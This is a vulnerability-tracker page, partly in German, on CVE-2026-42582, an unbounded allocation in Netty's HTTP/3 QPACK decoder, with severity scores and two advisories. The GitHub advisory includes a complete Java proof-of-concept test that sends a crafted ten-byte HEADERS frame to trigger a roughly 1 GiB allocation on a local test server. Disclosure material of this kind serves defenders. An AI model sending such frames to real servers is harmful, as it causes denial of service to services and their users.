CVE-2026-42582

highPriorität · verfolgen · 0EPSS 0.004 · 38. PerzentilDEEURUUS
grimoire priorityP2 · Scheduled
Exploitable?
—
no known exploitation
Likely / severe?
0.44% (38th) EPSS
CVSS 7.5 · high
Is it mine?
45 products
Prüfe deine Angriffsfläche
Who says so?
5 sources
cnnvd · enisa_euvd · fstec_bdu · cert_bund

EPSS · bewertet 2026-10-27

Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final, when decoding header blocks, the non-Huffman branch of io.netty.handler.codec.http3.QpackDecoder#decodeHuffmanEncodedLiteral may execute new byte[length] for a string literal before verifying that length bytes are actually present in the compressed field section. The wire encoding allows a very large length to be expressed in few bytes. There is no check that length <= in.readableBytes() before new byte[length]. This vulnerability is fixed in 4.2.13.Final.

01

cvss

Technischer Schweregrad, 0–10. Eine Zeile je Quelle.

7.5
010

Basiswert 0–10 · höher = schwerwiegender · Vektor überfahren zum Auflösen⚠ Quellen uneinig · medium–high · 6.9–7.5

v3.17.5highAV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:Hsecondary · FSTEC (BDU) RU
v3.17.5highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:Hsecondary · ENISA EU
v3.17.5highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:Hsecondary · security-advisories@github.comAusnutzbarkeit 3.9 · Auswirkung 3.6
v3.17.5highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:Hsecondary · OSV
v3.16.9mediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:Usecondary · CVSS-BT (t0sche)
02

SSVC

Eine Handlungsentscheidung — aus Ausnutzung und Auswirkung.

Exploitation: poc · Automatable: yes · Technical Impact: partialcoordinatorcisa_ssvcUS
03

schwächen

Die CWE-Schwächeklassen, zu denen dies gehört.

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betroffene Produkte (45)

Betroffene Produkte und Versionsbereiche.

20 von 45 angezeigt
05

Advisories (2)

Hersteller- und Ökosystem-Meldungen dazu.

  • WID-SEC-W-2026-1372Netty: Mehrere SchwachstellenDeutsch2026-05-05csaf · cert_bundDE

    Ein entfernter, anonymer Angreifer kann mehrere Schwachstellen in Netty ausnutzen, um Sicherheitsmaßnahmen zu umgehen, Daten zu manipulieren, vertrauliche Informationen offenzulegen oder einen Denial-of-Service-Zustand zu verursachen.

  • GHSA-2c5c-chwr-9hqwNetty HTTP/3 QPACK literal unbounded allocation2026-05-07ghsa · osvUS

    ### Summary When Netty decodes HTTP/3 headers, it sometimes runs `new byte[length]` using a length from the wire before checking that many bytes are really there. A small malicious header can claim a huge length (on the order of a gigabyte). ### Details When decoding header blocks, the non-Huffman branch of `io.netty.handler.codec.http3.QpackDecoder#decodeHuffmanEncodedLiteral` may execute `new byte[length]` for a string literal before verifying that length bytes are actually present in the compressed field section. The wire encoding allows a very large length to be expressed in few bytes. There is no check that `length <= in.readableBytes()` before `new byte[length]`. ### PoC The test below constructs a small HTTP/3 HEADERS frame whose QPACK section decodes to a ~1 GiB non-Huffman name length and is used to observe server-side failure; it illustrates how little wire data can target `new byte[length]`. ```java @Test public void test() throws Exception { EventLoopGroup group = new MultiThreadIoEventLoopGroup(1, NioIoHandler.newFactory()); try { X509Bundle cert = new CertificateBuilder() .subject("cn=localhost") .setIsCertificateAuthority(true) .buildSelfSigned(); QuicSslContext serverContext = QuicSslContextBuilder.forServer(cert.toTempPrivateKeyPem(), null, cert.toTempCertChainPem()) .applicationProtocols(Http3.supportedApplicationProtocols()) .build(); AtomicReference<Throwable> serverErrors = new AtomicReference<>(); CountDownLatch serverConnectionClosed = new CountDownLatch(1); ChannelHandler serverCodec = Http3.newQuicServerCodecBuilder() .sslContext(serverContext) .maxIdleTimeout(5000, TimeUnit.MILLISECONDS) .initialMaxData(10_000_000) .initialMaxStreamDataBidirectionalLocal(1_000_000) .initialMaxStreamDataBidirectionalRemote(1_000_000) .initialMaxStreamsBidirectional(100) .tokenHandler(InsecureQuicTokenHandler.INSTANCE) .handler(new ChannelInitializer<QuicChannel>() { @Override protected void initChannel(QuicChannel ch) { ch.closeFuture().addListener(f -> serverConnectionClosed.countDown()); ch.pipeline().addLast(new Http3ServerConnectionHandler( new ChannelInboundHandlerAdapter() { @Override public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) { if (cause instanceof DecoderException) { serverErrors.set(cause.getCause()); } else { serverErrors.set(cause); } } })); } }) .build(); Channel server = new Bootstrap() .group(group) .channel(NioDatagramChannel.class) .handler(serverCodec) .bind("127.0.0.1", 0) .sync() .channel(); QuicSslContext clientContext = QuicSslContextBuilder.forClient() .trustManager(InsecureTrustManagerFactory.INSTANCE) .applicationProtocols(Http3.supportedApplicationProtocols()) .build(); ChannelHandler clientCodec = Http3.newQuicClientCodecBuilder() .sslContext(clientContext) .maxIdleTimeout(5000, TimeUnit.MILLISECONDS) .initialMaxData(10000000) .initialMaxStreamDataBidirectionalLocal(1000000) .build(); Channel client = new Bootstrap() .group(group) .channel(NioDatagramChannel.class) .handler(clientCodec) .bind(0) .sync() .channel(); QuicChannel quicChannel = QuicChannel.newBootstrap(client) .handler(new Http3ClientConnectionHandler()) .remoteAddress(server.localAddress()) .localAddress(client.localAddress()) .connect() .get(); QuicStreamChannel rawStream = quicChannel.createStream(QuicStreamType.BIDIRECTIONAL, new ChannelInboundHandlerAdapter()).get(); ByteBuf header = Unpooled.buffer(); header.writeByte(0x01); header.writeByte(0x08); header.writeByte(0x00); header.writeByte(0x00); header.writeByte(0x27); header.writeByte(0x80); header.writeByte(0x80); header.writeByte(0x80); header.writeByte(0x80); header.writeByte(0x04); rawStream.writeAndFlush(header).sync(); assertTrue(serverConnectionClosed.await(10, TimeUnit.SECONDS)); assertInstanceOf(IndexOutOfBoundsException.class, serverErrors.get()); quicChannel.closeFuture().await(5, TimeUnit.SECONDS); server.close().sync(); client.close().sync(); } finally { group.shutdownGracefully(); } } ``` ### Impact The server can slow down, stall, or crash under load when many crafted HTTP/3 HEADERS frames trigger very large `byte[]` allocations during QPACK literal decoding.

06

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quellen

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veröffentlicht 2026-05-13geändert 2026-10-26
08

Referenzen (4)

Externe Belege — Patches, Meldungen, Analysen.

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